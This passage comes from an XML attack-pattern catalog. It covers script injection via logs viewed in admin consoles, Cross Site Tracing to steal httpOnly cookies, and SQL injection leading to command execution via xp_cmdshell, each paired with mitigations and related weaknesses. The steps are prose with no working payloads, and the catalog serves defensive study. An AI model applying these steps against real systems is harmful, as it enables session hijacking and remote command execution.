						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe for log injection
											vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker probes all user-controllable data
												inputs to the system to probe for log injection
												vulnerabilities. This may be difficult (unless the
												attacker has a white box view of the system) because
												there may not be a feedback event to indicate to the
												attacker that certain information is being
												logged.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>User injected input shows up in
												the logs</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation and filtering of
												user-controllable input before writing to
												logs</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe for cross-site scripting
											vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker probes all user-controllable data
												inputs to the system to probe for any cross-site
												scripting vulnerabilities. Cross-site scripting
												vulnerabilities identified anywhere in the
												application indicate an increased potential that
												such vulnerabilities may exist in the log management
												portions of the application.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker-injected script is
												executed in user's browser.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>HTML encode all log
												contents before displaying in log management
												interfaces.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Confirm
											exploitability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Create a simple script and inject it into one of
												the potentially vulnerable fields. This script
												should take some action which will give an attacker
												an indication that the attack vector exists.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The idea is to receive some sort of a
												feedback event that confirms that an attack is
												succeeding. That is done with a simple script
												prior to crafting possibly a more complex script
												to launch an actual attack.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Expected script execution
												feedback event is observed.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Inject System Logs with Malicious
											Scripts</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Create a malicious script to run in the
												administrator's web based interface and inject it in
												the system's logs through one of the user controlled
												fields that are being logged.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Inject the vulnerable fields by tampering
												with their values to contain the malicious
												scripts. Possibly trigger another event that makes
												it more likely that injected logs are viewed in
												the vulnerable UI as soon as possible.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The system uses a web based interface</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The system does not cleanse / validate user supplied data before writing
						it to logs</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Information from logs is displayed in a web based interface</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The web based log interface does not HTML output encode the log data prior
						to displaying it in the administrator console.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker determines that a particular system uses a web based
							interface for administration. The attacker creates a new user record and
							supplies a malicious script in the user name field. The script will
							steal the administrator's authentication cookie and forward it to a site
							controlled by the attacker. The user name field is not validated by the
							system and is logged as is in the log. At some point later, an
							administrator reviews the log activity in the administrative console.
							When the administrator comes across the attacker's activity record, the
							malicious script is executed in the context of the attacker's browser,
							stealing the administrator's authentication cookie and forwarding it to
							the attacker. An attacker then uses the received authentication cookie
							to log in to the system as an administrator, assuming that the
							administrator console can be accessed remotely.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Requires to ability to write a simple scipt and try to inject it
							through various user controlled fields in the system.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No specialized hardware is required</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Locate system screens for operations that are likely to be logged and
							use these as starting points for injection</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Cleanse all user supplied data before placing it in the logs. Reject all
						bad data. Ensure that the data is in the expected form.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use proper HTML output encoding techniques to strip the log data of
						potentially dangerous scripting characters before displaying it in the
						administrative console</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>If possible, disable script execution in the administrative
						interface.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>117<!--Improper Output Neutralization for Logs--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>93<!--Log Injection-Tampering-Forging--></Relationship_Target_ID>
					<Relationship_Description>
						<Text>Log injection attack pattern is one of the components of the current
							attack pattern</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>63<!--Simple Script Injection--></Relationship_Target_ID>
					<Relationship_Description>
						<Text>Script injection attack pattern is one of the components of the
							current attack pattern</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>HTML output encode all data prior to writing to an HTML page</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Properly validate and cleanse/reject user supplied data before writing it
						to log files</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="107" Name="Cross Site Tracing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Cross Site Tracing (XST) enables an attacker to steal the victim's session
						cookie and possibly other authentication credentials transmitted in the
						header of the HTTP request when the victim's browser communicates to
						destination system's web server. The attacker first gets a malicious script
						to run in the victim's browser that induces the browser to initiate an HTTP
						TRACE request to the web server. If the destination web server allows HTTP
						TRACE requests, it will proceed to return a response to the victim's web
						browser that contains the original HTTP request in its body. The function of
						HTTP TRACE, as defined by the HTTP specification, is to echo the request
						that the web server receives from the client back to the client. Since the
						HTTP header of the original request had the victim's session cookie in it,
						that session cookie can now be picked off the HTTP TRACE response and sent
						to the attacker's malicious site. XST becomes relevant when direct access to
						the session cookie via the "document.cookie" object is disabled with the use
						of httpOnly attribute which ensures that the cookie can be transmitted in
						HTTP requests but cannot be accessed in other ways. Using SSL does not
						protect against XST.</Text>
					<Text>If the system with which the victim is interacting is susceptible to XSS,
						an attacker can exploit that weakness directly to get his or her malicious
						script to issue an HTTP TRACE request to the destination system's web
						server. In the absense of an XSS weakness on the site with which the victim
						is interacting, an attacker can get the script to come from the site that he
						controls and get it to execute in the victim's browser (if he can trick the
						victim's into visiting his malicious website or clicking on the link that he
						supplies). However, in that case, due to the single origin policy protection
						mechanism in the browser, the attacker's malicious script cannot directly
						issue an HTTP TRACE request to the destination system's web server because
						the malicious script did not originate at that domain. An attacker will then
						need to find a way to exploit another weakness that would enable him or her
						to get around the single origin policy protection.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine if HTTP Trace is
											enabled</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine if HTTP Trace is enabled at the web
												server with which the victim has a an active
												session</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker may issue an HTTP Trace request
												to the target web server and observe if the
												response arrives with the original request in the
												body of the response.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>HTTP Trace is enabled on the web
												server</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The original request is
												returned after the HTTP Trace
												request.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify mechanism to launch HTTP Trace
											request</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker attempts to force the victim to issue
												an HTTP Trace request to the targeted
												application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker probes for cross-site scripting
												vulnerabilities to force the victim into issuing
												an HTTP Trace request.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker's script is executed
												within the browser context.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Create a malicious script that pings the
											web server with HTTP TRACE request</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Create a malicious script that will induce the
												victim's browser to issue an HTTP TRACE request to
												the destination system's web server. The script will
												further intercept the response from the web server,
												pick up sensitive information out of it, and forward
												to the site controlled by the attacker.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker's malicious script circumvents
												the httpOnly cookie attribute that prevents from
												hijacking the victim's session cookie directly
												using document.cookie and instead leverages the
												HTTP TRACE to catch this information from the
												header of the HTTP request once it is echoed back
												from the web server in the body of the HTTP TRACE
												response.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Execute malicious HTTP Trace launching
											script</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker leverages a vulnerability to force
												the victim to execute the malicious HTTP Trace
												launching script</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>HTTP TRACE is enabled on the web server</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The destination system is susceptible to XSS or an attacker can leverage
						some other weakness to bypass the single origin policy</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Scripting is enabled in the client's browser</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>HTTP is used as the communication protocol between the server and the
						client</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker determines that a particular system is vulnerable to
							reflected cross-site scripting (XSS) and endeavors to leverage this
							weakness to steal the victim's authentication cookie. An attacker
							realizes that since httpOnly attribute is set on the user's cookie, it
							is not possible to steal it directly with his malicious script. Instead,
							the attacker has his script use XMLHTTP ActiveX control in the victim's
							IE browser to issue an HTTP TRACE to the target system's server which
							has HTTP TRACE enabled. The original HTTP TRACE request contains the
							session cookie and so does the echoed response. The attacker picks the
							session cookie from the body of HTTP TRACE response and ships it to the
							attacker. The attacker then uses the newly acquired victim's session
							cookie to impersonate the victim in the target system.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Understanding of the HTTP protocol and an ability to craft a malicious
							script</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No specialized resources are needed</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Send HTTP TRACE requests to the destination web server to see if it
							responds</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Administrators should disable support for HTTP TRACE at the destination's
						web server. Vendors should disable TRACE by default.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Patch web browser against known security origin policy bypass
						exploits.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>648<!--Incorrect Use of Privileged APIs--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>86<!--Embedding Script (XSS ) in HTTP Headers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Turn off HTTP TRACE on the web server (if not needed)</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Secure by Default</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="108" Name="Command Line Execution through SQL Injection"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses standard SQL injection methods to inject data into the
						command line for execution. This could be done directly through misuse of
						directives such as MSSQL_xp_cmdshell or indirectly through injection of data
						into the database that would be interpreted as shell commands. Sometime
						later, an unscrupulous backend application (or could be part of the
						functionality of the same application) fetches the injected data stored in
						the database and uses this data as command line arguments without performing
						proper validation. The malicious data escapes that data plane by spawning
						new commands to be executed on the host.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe for SQL Injection
											vulernability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker injects SQL syntax into
												user-controllable data inputs to search unfiltered
												execution of the SQL syntax in a query.</Text>
										</Attack_Step_Description>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives an error message from
												server indicating that there was a problem with
												the SQL query.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Server sends a specific error message that
												indicates programmatic parsing of the input data
												(e.g. NumberFormatException)</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one user-controllable
												input susceptible to injection
												found.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No user-controllable input
												susceptible to injection
												found.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected SQL keywords in application logs
												(e.g. SELECT, DROP,
												etc.).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in a SQL
												query</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use parameterized
												queries (e.g. PreparedStatement in Java, and
												Command.Parameters.Add() to set query parameters
												in .NET)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Achieve arbitrary command execution
											through SQL Injection with the MSSQL_xp_cmdshell
											directive</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker leverages a SQL Injection attack to
												inject shell code to be executed by leveraging the
												xp_cmdshell directive.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker's injected code is
												executed.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Disable xp_cmdshell
												stored procedure on the
												database.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected SQL keywords in application logs
												(e.g. SELECT, DROP,
												etc.).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in a SQL
												query</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Use parameterized
												queries (e.g. PreparedStatement in Java, and
												Command.Parameters.Add() to set query parameters
												in .NET)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Inject malicious data in the
											database</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Leverage SQL injection to inject data in the
												database that could later be used to achieve command
												injection if ever used as a command line
												argument</Text>
										</Attack_Step_Description>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected SQL keywords in application logs
												(e.g. SELECT, DROP,
												etc.).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in a SQL
												query</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use parameterized
												queries (e.g. PreparedStatement in Java, and
												Command.Parameters.Add() to set query parameters
												in .NET)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Trigger command line execution with
											injected arguments</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker causes execution of command line
												functionality which leverages previously injected
												database content as arguments.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker's injected code is
												executed.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application does not properly validate data before storing in the
						database</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Backend application implicitly trusts the data stored in the
						database</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Malicious data is used on the backend as a command line argument</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>SQL injection vulnerability in Cacti 0.8.6i and earlier, when
							register_argc_argv is enabled, allows remote attackers to execute
